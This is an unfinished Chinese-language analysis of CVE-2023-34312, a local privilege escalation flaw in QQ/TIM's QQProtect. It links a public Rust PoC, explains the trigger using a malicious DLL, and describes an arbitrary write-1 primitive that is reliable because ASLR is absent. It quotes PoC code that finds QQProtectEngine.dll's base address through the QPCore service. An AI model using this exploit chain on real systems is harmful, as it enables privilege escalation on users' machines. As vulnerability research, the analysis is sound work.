关于QQ提权漏洞CVE-2023-34312的分析
!!未完待续!!
PoC分析
PoC地址:https://github.com/vi3t1/qq-tim-elevation,用rust写的按照教程编译好了就可以直接打了
由于没有开启ASLR保护所以很稳
接着是分析一下PoC
触发
触发方式是.\QQProtect .\evil.dll
,同时必须保持tinyxml.dll
在同一目录下,这里用QQ9.7.7举例子。
首先是GetCommandLineW
获得启动参数,接着判断置否存在下列关键参数,然后不存在关键参数直接到了StartAddress
使用QQProtectEngine.dll
中的RunQQProtect
,设置回调函数sub_40C950
回调函数中的a2
指针可以将任何地址的值设置为参数分析时的参数个数值,也就是 1。
那么现在我们就有了将任意地址写为1的能力,恰好QQProtect.exe
没有开启ASLR
保护,若开启的话下图应该存在IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
PoC
和上文中结合起来,在QQProtect
中导入了tinyxml.dll
,所以可以修改这个dll的内容来执行攻击。
-
PoC首先获取了
evil.dll
的路径,1
2
3let evil_dllpath: String = std::env::args().nth(1).unwrap();
let evil_dllpath: std::path::PathBuf = std::path::Path::new(&evil_dllpath).canonicalize().unwrap();
println!("evil dll: {}", evil_dllpath.display());接着打开服务获得
QQProtectEngine.dll
的基地址(因为他开启了ASLR保护)。
在PoC中打开了Windows的QPCore
服务然后获取配置信息,从配置信息中提取出qqprotect.exe
和QQProtectEngine.dll
的路径。
由于LoadLibraryExW
中使用了DONT_RESOLVE_DLL_REFERENCES
所以不会调用DLLMain,若函数成功,则返回值是已加载模块的句柄,从句柄的第一个值提取出加载的地址。注意的是,这里是首先加载tinyxml.dll
,所以加载的QQProtectEngine.dll
的地址在这里同一样适用,这样就获得了QQProtectEngine.dll
的基地址。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15fn get_qqprotectengine_dllbase() -> u32 {
let manager = ServiceManager::local_computer(None::<&str>, ServiceManagerAccess::ENUMERATE_SERVICE).unwrap();
let service = manager.open_service("QPCore", ServiceAccess::QUERY_CONFIG).unwrap();
let service_config = service.query_config().unwrap();
let qqprotect_exe = windows_args::ArgsOs::parse_cmd(service_config.executable_path.as_os_str()).next().unwrap();
let qqprotectengine_dll = std::path::Path::new(&qqprotect_exe).parent().unwrap().join("QQProtectEngine.dll");
unsafe {
let h = LoadLibraryExW(PCWSTR(HSTRING::from(qqprotectengine_dll.as_path()).as_ptr()), HANDLE::default(), DONT_RESOLVE_DLL_REFERENCES).unwrap();
let base = h.0 as u32;
FreeLibrary(h);
return base;
}
} -
创建IPC进程间通讯
如何找到IPC通讯,可以在https://learn.microsoft.com/en-us/sysinternals/downloads/pipelist安装`pipelist`查看所有的命名管道通讯
那么在
QQProtect.exe
一定会有一个连接命名管道的地方,在QQProtectEnginee.dll
中使用找到对应的管道命名
和
(回调分析麻了)之后会进入QSection.dll中的函数,具体逆向可以看B战大佬的视频:https://www.bilibili.com/video/BV1wm4y1E7TL
很像一个结构体。加载了
QPSection
后调用了6号导出函数,之后还需要对结构体进行逆向